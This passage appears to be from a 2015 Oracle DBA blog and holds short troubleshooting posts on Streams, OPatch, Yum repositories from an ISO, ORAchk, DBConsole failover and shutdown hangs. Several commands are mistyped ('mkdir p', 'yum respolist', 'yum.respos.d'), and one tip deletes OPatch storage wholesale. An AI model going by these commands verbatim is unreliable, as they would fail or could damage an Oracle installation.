      13F5CD569383406C82E7F63EE3F927E0 with
      ORA-44001: invalid schema
      ORA-06512: at "SYS.DBMS_RECO_SCRIPT_INVOK", line 139
      ORA-06512: at "SYS.DBMS_STREAMS_RPC", line 465
      ORA-06512: at "SYS.DBMS_RECOVERABLE_SCRIPT", line 659
      ORA-06512: at "SYS.DBMS_RECOVERABLE_SCRIPT", line 682
      ORA-06512: at "SYS.DBMS_STREAMS_MT", line 7972
      ORA-06512: at "SYS.DBMS_STREAMS_ADM", line 2674
      ORA-06512: at line 5

      The error related to apply_queue parameter in oracle stream is not set with valid value, therefore set the parameter correctly like the below
      apply_queue_user => 'STREAM_ADMIN' 

      Cheers
      Osama Mustafa 

      Friday, March 20, 2015

      Enterprise Manager : Performance Across Enterprise Databases

      The below link is very to understand the performance under #EM12c Provided by oracle, This demonstration shows you how to use AWR Warehouse a new feature of Oracle Enterprise Manager 12c Release 4.

      https://www.youtube.com/watch?v=StydMitHtuI&feature=youtu.be

      Cheers
      Osama Mustafa

      Thursday, March 19, 2015

      [INS-30131] Initial setup required for execution of installer validation failed.

      When trying to install Oracle client 12c the above error appeared , this issue can happened on windows Or linux.

      The cause i really simple :-

      On linux there is no enough space under /tmp.

      On windows the solution like the following :-


      • Open Windows Services.
      • Stop Oracle Services --> OracleRemExec
      • Remove the OracleRemExecService
      • then try to install Oracle client again

      Thank you 
      Osama Mustafa

      Tuesday, March 17, 2015

      ldap utility BINDASAPPUSER FAILED DUE TO INVALID PASSWORD Siebel

      ldap utility BINDASAPPUSER FAILED DUE TO INVALID PASSWORD

      The above error happened to Siebel CRM.

      the solution is so simple :-

      In my version Siebel configured as SSO because of this OID hold all the application user after check o i found that orcladmin have only one week for password expiration Siebel consider this as error so i increase password policy in OID.

      Cheers
      Osama  

      Creating a Local Yum Repository Using ISO Image

      In this post i will show you how to create Yum repository Using ISO Image, will save more time :-


      • Download The ISO Image and Upload it to the server.
      • Create Folder Under Root User Like the below
      cp /OEL6.6. iso /ISOs

      • now create mount point for this ISO.
      mkdir p /var/ISO/OEL6.6
      Run the below command to mount it :-

      mount o loop,ro /ISOs/OEL6.6. iso /var/ISO/OEL6.6

      • Now under /etc/yum.respos.d you can rename it or set enable=0
      •  Create the following file /etc/yum.respos.d/OEL66.repo
      • Edit the file and add 

      [OL66]
      name=Oracle Linux 6.6
      baseurl=file:///var/ISO/OEL6.6
      gpgkey=file:///etc/pki/rpmgpg/
      RPMGPGKEY
      gpgcheck=1
      enabled=1

      • Run the below command to clean yum
      yum clean all
      yum respolist


      The output should be like the below :-


      repo id repo name status
      OL66 Oracle Linux 6.6 25,459 


      Thank you
      Osama Mustafa

      Sunday, March 15, 2015

      New Features in ORAchk 12.1.0.2.3

      The new ORAchk release 12.1.0.2.3 is now available to download from http://support.oracle.com


      Is your database healthy ?

      ORAchk can be used with any database depend on your Platform Solaris Intel, Solaris SPARC, ,HP , Linux , you can check the Oracle Support Document :-

      ORAchk - Health Checks for the Oracle Stack (Doc ID 1268927.2)

      That include the userGuide and how to Use ORAchk with any platforms,

      New Features :-

      Database performance, install, scalability & ASM
      Cross stack checks for Oracle Applications running on Solaris & Oracle Hardware
      Enterprise Manager Agents performance and failure to run
      Oracle EBS Accounts Payables

      Usually the usage like the below :-

      ./orachk  ---> regular healtcheck  + HA best practices
      ./orachk-c hacheck ---> HA best practices Only
      Cheers
      Osama Mustafa

      Wednesday, March 11, 2015

      Apply Jdeveloper Patch

      This blog post will show you how to apply Patch on Jdeveloper :-


      • Download the latest version of Opatch from http://support.oracle.com
      • Unzip the Patch Folder.
      • Set/export ORACLE_HOME to Jdeveloper hope depend on Operating system
      • Finally Opatch Apply to Jdeveloper Home.

      If you faced any error with opatch commad try the below :-

      opatch apply -jdk /u01/app/oracle/JDK/160_24

      Cheers
      Osama Mustafa

      Monday, March 9, 2015

      OPATCH : Problems with the lock file

      Problems with the lock file
      Lock file exists, details are:
      Interim Patch is holding the lock from ......
      probably due to previous unsuccessful operation

      Seems the Opatch has been interrupted or hanged therefore the .opatch_storage still exists under Oracle Home

      ls -ltr $ORACLE_HOME

      Search for .patch_storage and delete it

      Try Again..

      Osama Mustafa

      Prerequisite check "CheckActiveFilesAndExecutables" failed

      Oracle Home       : /u01/app/oracle/product/11.2.0/db_home1
      Central Inventory : /u01/app/oraInventory
         from           : /u01/app/oracle/product/11.2.0/db_home1/oraInst.loc
      OPatch version    : 11.2.0.3.6
      OUI version       : 11.2.0.3.0
      Log file location : /u01/app/oracle/product/11.2.0/db_home1/cfgtoollogs/opatch/opatch2015-03-09_16-45-09PM_1.log
      Verifying environment and performing prerequisite checks...
      Prerequisite check "CheckActiveFilesAndExecutables" failed.
      The details are:

      Following executables are active :
      /u01/app/oracle/product/11.2.0/db_home1/lib/libclntsh.so.11.1
      UtilSession failed: Prerequisite check "CheckActiveFilesAndExecutables" failed.
      Log file location: /u01/app/oracle/product/11.2.0/db_home1/cfgtoollogs/opatch/opatch2015-03-09_16-45-09PM_1.log
      When trying to apply OPatch the above error appear , 

      Some process hanged 


      oracle@--:~/database_patches/19769496$ fuser /u01/app/oracle/product/11.2.0/db_home1/lib/libclntsh.so.11.1
      /u01/app/oracle/product/11.2.0/db_home1/lib/libclntsh.so.11.1:    58536m

      Kill -9 58536
      Cheers

      Thank you 

      Sunday, March 8, 2015

      APPLY PSU PATCH ON RAC Database

      This post describe how to apply PSU PATCH on Grid and DB Home Step by Step , I wrote earlier how to apply PSU Patch on single Node Read here

      To Read How to APPLY PSU PATCH ON RAC Database Here 

      Configure DBConsole as Active/passive

      Sometimes Database Configured as Active/Passive ( Cluster ) Which mean one node working/time and regarding to this if the failover happened on 2nd node the customer will expected that everything will be the same as it was on node 1 include to this Dbconsole.

      To do this follow the below steps :-


      • Database should be configured on VIP.
      • Listener should be configured on VIP.
      • Database , Configuration should be installed on Shared Storage
      • inventory Files should be on shared storage as well.
      • ORACLE_HOSTNAME Should be set to VIP Hostname.

      Listener example :-


      LISTENER  =
      (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = VIP-HOST )(PORT = 1521))
      )
      Don't forget to set the LOCAL_LISTENER Parameter :-

      SQL> alter system set local_listener='LISTENER';

      Or

      SQL> alter system set local_listener='(ADDRESS = (PROTOCOL = TCP)(HOST = VIP-HOST )(PORT = 1521)) ';
      Now

      export ORACLE_HOSTNAME=VIP-HOSTNAME
      emca -config dbcontrol db -repos create

      Test the failover on node #2

      if for some reason when you try to start emctl and the error still asking for oc4j then export ORACLE_HOSTNAME is bash_profile.


      It should work

      Cheers
      Osama 

      Saturday, March 7, 2015

      Shutdown Immediate Hangs

      Today i faced Strange issue with Shutdown immediate command on cluster database which is when run shutdown immediate the command hangs and take so long and sometimes it's working and most of the time not working.

      the below command was working without any problem :-

      SQL > shutdown abort

      to solve this issue & trace the error since the alertlog not indicating to anything interesting i have to dump systemstate every 5 minutes  to know what going on :-

      connect / as sysdba
      alter session set events '10400 trace name context forever, level 1'; 

      After this you can kill the session that preventing shutdown.

      The hangs usually happened for two reasons :-

      • Query running on Database.
      • Transaction happened while you are trying to shutdown database.
      For the first reason :

      use v$session_longops Read more here.
      Run the below query to check the query.
      select count(*) from v$session_longops where time_remaining>0;

      Second reason you can use

      v$transaction Read from here.

      Useful Document :-
      Alert Log: Shutdown Waiting for Active Calls to Complete (Doc ID 1039389.6)

      Thank you
      Osama Mustafa